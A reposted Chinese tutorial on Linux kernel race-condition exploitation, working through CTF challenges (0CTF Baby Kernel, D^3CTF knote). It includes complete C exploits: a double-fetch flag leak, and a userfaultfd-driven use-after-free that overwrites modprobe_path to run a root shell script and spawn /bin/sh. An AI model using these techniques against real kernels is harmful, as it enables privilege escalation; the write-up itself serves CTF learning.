IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> linux 内核漏洞利用 Race Condition -> 正文阅读

[系统运维]linux 内核漏洞利用 Race Condition

附件下载链接

double fetch

用户空间向内核传递数据时,内核先通过通过 copy_from_user 等拷贝函数将用户数据拷贝至内核空间进行校验及相关处理,但在输入数据较为复杂时,内核可能只引用其指针,而将数据暂时保存在用户空间进行后续处理。此时,该数据存在被其他恶意线程篡改风险,造成内核验证通过数据与实际使用数据不一致,导致内核代码执行异常。
一个典型的 Double Fetch 漏洞原理如下图所示,一个用户态线程准备数据并通过系统调用进入内核,该数据在内核中有两次被取用,内核第一次取用数据进行安全检查(如缓冲区大小、指针可用性等),当检查通过后内核第二次取用数据进行实际处理。而在两次取用数据之间,另一个用户态线程可创造条件竞争,对已通过检查的用户态数据进行篡改,在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升。
在这里插入图片描述
例题:2018 0CTF Finals Baby Kernel
baby_ioctl 函数有两个功能。

  • 0x6666:打印 flag 的存放地址
  • 0x1337:检验用户输入的参数地址是否合法以及用户输入的 flag 内容是否正确。如果通过检验则打印 flag 内容。

在这里插入图片描述
接下来 gdb 调试确定 0x1337 的检查逻辑。
在这里插入图片描述

首先调试需要 vmlinux 镜像,题目只给了压缩格式的 vmlinuz 。没有找到该版本的内核,因此采用下面这个方法解压出 vmlinux 。其中 skip 的值为 1f 8b 08 00 的地址。
在这里插入图片描述

首先修改 init 启动脚本为 root 权限启动。
在这里插入图片描述
获取驱动地址
在这里插入图片描述
gdb 初始化脚本 gdb.sh 内容设置如下,地址是通过 IDA 中偏移和真实地址换算过来的。

#!/bin/sh

gdb -q \
  -ex "file vmlinux" \
  -ex "add-symbol-file baby.ko 0xffffffffc036e000" \
  -ex "target remote localhost:1234" \
  -ex "b *0xffffffffc036e09b" \
  -ex "b *0xffffffffc036e0dd" \
  -ex "c"

启动 gdb.sh ,然后使用 0x1337 功能,可以看到 gdb 断到第一个 call __chk_range_not_ok 指令处。
在这里插入图片描述
这里对应的是 if 判断里 _chk_range_not_ok 函数的第一次调用。
在这里插入图片描述
其中第一个参数 v2 是用户传给驱动的参数结构体指针。
在这里插入图片描述
第二个参数是结构体的大小。
第三个参数是 current_task 的地址加上 0x1358 处所存的值 0x007ffffffff000
在这里插入图片描述
if 判断里 _chk_range_not_ok 函数的第二次调用如下图,这次的参数是与用户传入的 flag 相关的。
在这里插入图片描述
_chk_range_not_ok 的汇编如下:
在这里插入图片描述
意思是如果数据地址加长度能 64 位溢出或者数据地址大于第 3 个参数则返回 1 ,否则返回 0 。因此数据必须在用户空间中。
利用 double fetch 开启另一个线程不断修改传参结构体里的 flag 地址为内核空间的 flag 地址,然后不断进行 0x1337 操作,就有可能在检查地址和检查 flag 内容之间修改了 flag 的地址从而获取到 flag 。
exp 如下:

#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <unistd.h>

#define TRYTIME 0x1000
#define LEN 0x1000

struct attr {
    char *flag;
    size_t len;
};
char *addr;
int finish = 0;
char buf[LEN + 1];

void change_attr_value(void *s) {
    struct attr *s1 = s;
    while (finish == 0) {
        s1->flag = addr;
    }
}

int main(void) {
    int addr_fd;
    char *idx;
    int fd = open("/dev/baby", 0);
    ioctl(fd, 0x6666);
    system("dmesg > /tmp/record.txt");
    addr_fd = open("/tmp/record.txt", O_RDONLY);
    lseek(addr_fd, -LEN, SEEK_END);
    read(addr_fd, buf, LEN);
    close(addr_fd);
    idx = strstr(buf, "Your flag is at ");
    if (idx == 0) {
        printf("[-] Not found addr");
        exit(-1);
    } else {
        idx += 16;
        addr = (char *) strtoull(idx, NULL, 16);
        printf("[+] flag addr: %p\n", addr);
    }
    pthread_t t1;
    struct attr t = {"flag{fake_flag}", 33};
    pthread_create(&t1, NULL, (void *) change_attr_value, &t);
    for (int i = 0; i < TRYTIME; i++) {
        t.flag = "flag{fake_flag}";
        ioctl(fd, 0x1337, &t);
    }
    finish = 1;
    pthread_join(t1, NULL);
    close(fd);
    puts("[+]result is :");
    system("dmesg | grep flag{");
    return 0;
}

在这里插入图片描述

userfaultfd

条件竞争的成功利用往往需要正确的顺序,然而若是直接开两个线程进行竞争,命中的几率是比较低的,就比如说前面的 double fetch 尝试 0x1000 次也不一定会命中一次。而 userfaultfd 本身只是一个常规的与处理缺页异常相关的系统调用,但是通过这个机制我们可以控制进程执行流程的先后顺序,从而使得对条件竞争的利用成功率大幅提高。

内核的内存主要有两个区域,RAM和交换区,将要被使用的内存放在RAM,暂时用不到的内存放在交换区,内核控制交换进出的过程。RAM中的地址是物理地址,内核使用虚拟地址,其通过多级页表建立虚拟地址到物理地址的映射。但有的内存既不在RAM又不在交换区,比如mmap出来的内存,这块内存在读写它之前并没有分配实际的物理页。例如:mmap(0x1337000,0x1000,PROT_READ|PROT_WRITE,MAP_FIXED|MAP_PRIVATE,fd,0);

内核并未将fd内容拷贝到0x1337000,只是将地址0x1337000映射到文件fd
比如此时有下列代码运行

char *a = (char *)0x1337000
printf("content: %c\n", a[0]);

可以看到在读取数据,内核会进行以下操作:

  • 0x1337000创建物理帧
  • fd读取内容到0x1337000(如果是堆空间映射的话,会将对应的物理帧清零)
  • 在页表标记合适的入口,以便识别0x1337000虚地址。

所以说,这里的过程用时会比较长。

userfaultfd 是 linux 下的一直缺页处理机制,用户可以自定义函数来处理这种事件。下面举一个向缺页处写入数据的例子:

#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

int page_size;

static void *fault_handler_thread(void *arg) {
    long uffd = (long) arg;

    //mmap 映射一块虚拟内存用来存放待写入的数据
    static char *page = NULL;
    if (page == NULL) {
        page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (page == MAP_FAILED) {
            puts("[-] Error at: mmap");
            exit(-1);
        }
        printf("[*] mmap addr: %p\n", page);
    }

    //循环处理缺页错误
    while (true) {
        //poll 函数等待 userfaultfd 的事件
        struct pollfd pollfd;
        pollfd.fd = (int) uffd;
        pollfd.events = POLLIN;
        int nready = poll(&pollfd, 1, -1);
        if (nready == -1) {
            puts("[-] Error at: poll");
            exit(-1);
        }

        //poll 函数返回的结果
        puts("\nfault_handler_thread():");
        printf("    poll() returns: nready = %d; POLLIN = %d; POLLERR = %d\n",
               nready, (pollfd.revents & POLLIN) != 0, (pollfd.revents & POLLERR) != 0);

        //从 userfaultfd 读取事件
        static struct uffd_msg msg;
        ssize_t nread = read((int) uffd, &msg, sizeof(msg));
        if (nread == 0) {
            puts("[-] EOF on userfaultfd!");
            exit(EXIT_FAILURE);
        }
        if (nread == -1) {
            puts("[-] Error at: read");
            exit(-1);
        }

        //userfaultfd 的事件应当是缺页错误事件
        if (msg.event != UFFD_EVENT_PAGEFAULT) {
            puts("[-] Unexpected event on userfaultfd");
            exit(EXIT_FAILURE);
        }

        //userfaultfd 返回的缺页错误相关信息
        printf("    UFFD_EVENT_PAGEFAULT event: ");
        printf("flags = 0x%llx; ", msg.arg.pagefault.flags);
        printf("address = 0x%llx\n", msg.arg.pagefault.address);

        //用户自定义的处理缺页错误的部分
        static int fault_cnt = 0;
        memset(page, 'A' + fault_cnt % 20, page_size);
        fault_cnt++;

        //将内容复制到目标位置,注意页对齐
        struct uffdio_copy uffdio_copy;
        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl((int) uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
            puts("[-] Error at: ioctl-UFFDIO_COPY");
            exit(-1);
        }
        printf("        (uffdio_copy.copy returned %lld)\n", uffdio_copy.copy);
    }
}

int main() {
    //获取内存页长度
    page_size = (int) sysconf(_SC_PAGE_SIZE);

    printf("[*] page size: 0x%x\n", page_size);

    //系统调用创建 userfaultfd
    long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1) {
        puts("Error at: userfaultfd");
        exit(-1);
    }

    //设置 userfaultfd 调用接口
    struct uffdio_api uffdio_api;
    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl((int) uffd, UFFDIO_API, &uffdio_api) == -1) {
        puts("Error at: ioctl-UFFDIO_API");
        exit(-1);
    }

    //mmap 映射一块虚拟内存
    char *addr = (char *) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (addr == MAP_FAILED) {
        puts("Error at: mmap");
        exit(-1);
    }

    printf("[*] mmap addr: 0x%lx\n", (size_t) addr);

    //在创建的 userfaultfd 上注册一块内存,注册的内存区域覆盖刚才 mmap 映射的虚拟内存
    struct uffdio_register uffdio_register;
    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = page_size;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl((int) uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
        puts("Error at: ioctl-UFFDIO_REGISTER");
        exit(-1);
    }

    //创建一个线程处理注册的内存区域发生的缺页中断
    pthread_t thr;
    int s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
    if (s != 0) {
        puts("Error at: pthread_create");
        exit(-1);
    }

    //访问 mmap 映射的虚拟内存触发缺页中断
    size_t ptr = *(unsigned long long *) addr;
    printf("[*] Get data: 0x%lx\n", ptr);

    return 0;
}

运行结果如图,自定义的缺页处理函数向缺页处写入了数据。在这里插入图片描述
需要说明的是,新版本内核 fs/userfaultfd.c 中全局变量 sysctl_unprivileged_userfaultfd 初始化为 1,这意味着只有 root 权限用户才能使用 userfaultfd 。

例题:D^3CTF2019 - knote
有 add,dele,edit,get 4种功能,ioctl 不能调用超过 9 次。其中 edit 和 get 没有加锁。
首先是内核地址泄露。利用 userfaultfd 制造将获取数据的内存块替换成 tty_struct,然后从其中的数据获取内核基地址。
在这里插入图片描述
第二次同理,利用 userfaultfd 构造 UAF 劫持 freelist 修改 modprobe_path 使得修改 flag 文件权限的 shell 脚本以管理员权限执行。
完整 exp:

#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <semaphore.h>
#include <stdbool.h>

const int TTY_STRUCT_SIZE = 0x2e0;
const size_t DO_SAK_WORK = 0xffffffff815d4ef0;
const size_t MODPROBE_PATH = 0xffffffff8245c5c0;
char *page;
long page_size;

void *fault_handler_thread(void *arg) {
    long uffd = (long) arg;
    while (true) {
        struct pollfd pollfd;
        pollfd.fd = (int) uffd;
        pollfd.events = POLLIN;
        int nready = poll(&pollfd, 1, -1);
        if (nready == -1) {
            puts("[-] Error at: poll");
            exit(-1);
        }
        static struct uffd_msg msg;
        ssize_t nread = read((int) uffd, &msg, sizeof(msg));
        sleep(4);
        if (nread == 0) {
            puts("[-] Error at: EOF on userfaultfd!");
            exit(EXIT_FAILURE);
        }
        if (nread == -1) {
            puts("[-] Error at: read");
            exit(-1);
        }
        if (msg.event != UFFD_EVENT_PAGEFAULT) {
            puts("[-] Unexpected event on userfaultfd");
            exit(EXIT_FAILURE);
        }
        struct uffdio_copy uffdio_copy;
        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
        printf("[*] uffdio_copy.dst: %p\n", uffdio_copy.dst);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl((int) uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
            puts("[-] Error at: ioctl-UFFDIO_COPY");
            exit(-1);
        }
    }
}

void register_userfaultfd(void *addr, size_t len, void(*handler)(void *)) {
    long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1) {
        puts("[-] Error at: userfaultfd");
        exit(-1);
    }
    struct uffdio_api uffdio_api = {.api=UFFD_API, .features=0};
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) {
        puts("[-] Error at: ioctl-UFFDIO_API");
        exit(-1);
    }
    struct uffdio_register uffdio_register;
    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
        puts("[-] Error at: ioctl-UFFDIO_REGISTER");
        exit(-1);
    }
    static pthread_t monitor_thread;
    if (pthread_create(&monitor_thread, NULL, handler, (void *) uffd) != 0) {
        puts("[-] Error at: pthread_create");
        exit(-1);
    }
}

typedef struct {
    union {
        size_t size;
        size_t index;
    };
    char *buf;
} Chunk;
long knote_fd;

void chunk_add(size_t size) {
    Chunk chunk = {.size=size};
    ioctl((int) knote_fd, 0x1337, &chunk);
}

void chunk_edit(size_t index, char *buf) {
    Chunk chunk = {.index=index, .buf=buf};
    ioctl((int) knote_fd, 0x8888, &chunk);
}

void chunk_get(size_t index, char *buf) {
    Chunk chunk = {.index=index, .buf=buf};
    ioctl((int) knote_fd, 0x2333, &chunk);
}

void chunk_del(size_t index) {
    Chunk chunk = {.index=index};
    ioctl((int) knote_fd, 0x6666, &chunk);
}

int main() {
    page_size = sysconf(_SC_PAGE_SIZE);
    char *buf1 = (char *) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    char *buf2 = (char *) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    register_userfaultfd(buf1, 0x1000, (void *) fault_handler_thread);
    register_userfaultfd(buf2, 0x1000, (void *) fault_handler_thread);
    page = malloc(0x1000);
    void *kernel_base = 0xffffffff81000000;
    size_t kernel_offset = 0;
    FILE *addr_fp = fopen("/addr.txt", "r");
    knote_fd = open("/dev/knote", O_RDWR);
    if (addr_fp != NULL) {
        fscanf(addr_fp, "%llx %llx", &kernel_base, &kernel_offset);
        fclose(addr_fp);
    } else {
        chunk_add(TTY_STRUCT_SIZE);
        pid_t pid = fork();
        if (pid < 0) {
            puts("[-] FAILED to fork the child");
            exit(-1);
        } else if (pid == 0) {
            puts("[*] Child process sleeping now...");
            sleep(1);
            puts("[*] Child process started.");
            chunk_del(0);
            sleep(1);
            open("/dev/ptmx", O_RDWR);
            puts("[*] Object free and tty got open. Backing parent thread...");
            exit(0);
        } else {
            puts("[*] Parent process trapped in userfaultfd...");
            chunk_get(0, buf1);
            puts("[*] tty struct data obtained");
        }
        for (int i = 0; i < 0x58; i++) {
            printf("[----data-dump----] %d: %p\n", i, ((size_t *) buf1)[i]);
        }
        if (((size_t *) buf1)[86]) {
            puts("[+] Successfully hit the tty_struct.");
            kernel_offset = ((size_t *) buf1)[86] - DO_SAK_WORK;
            kernel_base = (void *) ((size_t) kernel_base + kernel_offset);
        } else {
            puts("[-] Failed to hit the tty struct.");
            exit(-1);
        }
        addr_fp = fopen("/addr.txt", "w");
        fprintf(addr_fp, "%llx %llx", kernel_base, kernel_offset);
        fclose(addr_fp);
    }
    size_t modprobe_path = MODPROBE_PATH + kernel_offset;
    printf("[*] Kernel offset: %p\n", kernel_offset);
    printf("[*] Kernel base: %p\n", kernel_base);
    printf("[*] modprobe_path: %p\n", modprobe_path);
    if (open("/shell.sh", O_RDWR) < 0) {
        system("echo '#!/bin/sh' >> /shell.sh");
        system("echo 'chmod 777 /flag' >> /shell.sh");
        system("chmod +x /shell.sh");
    }
    chunk_add(0x100);
    memcpy(page, &modprobe_path, 8);
    pid_t pid = fork();
    if (pid < 0) {
        puts("[-] FAILED to fork the child");
        exit(-1);
    } else if (pid == 0) {
        puts("[*] Child process sleeping now...");
        sleep(1);
        puts("[*] Child process started.");
        chunk_del(0);
        puts("[*] UAF constructed");
        exit(0);
    } else {
        puts("[*] Parent process trapped in userfaultfd...");
        chunk_edit(0, buf2);
        puts("[*] Hijack finished");
    }
    chunk_add(0x100);
    chunk_add(0x100);
    chunk_edit(1, "/shell.sh");
    system("echo -e '\\xff\\xff\\xff\\xff' > /fake");
    system("chmod +x /fake");
    system("/fake");
    if (open("/flag", O_RDWR) < 0) {
        puts("FAILED to hijack!");
        exit(-1);
    }
    puts("[+] hijack success");
    system("/bin/sh");
    return 0;
}

因为成功率比较低,需要多次尝试,因此还需要创建一个辅助脚本 exp.sh 来重新运行 exp ,如果攻击成功 exp 会返回一个 shell 所以不会再重启。

#!/bin/sh

while true; do
  ./exp
done

运行结果:
在这里插入图片描述

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-06-25 18:26:09  更:2022-06-25 18:28:11 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/19 1:29:38-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码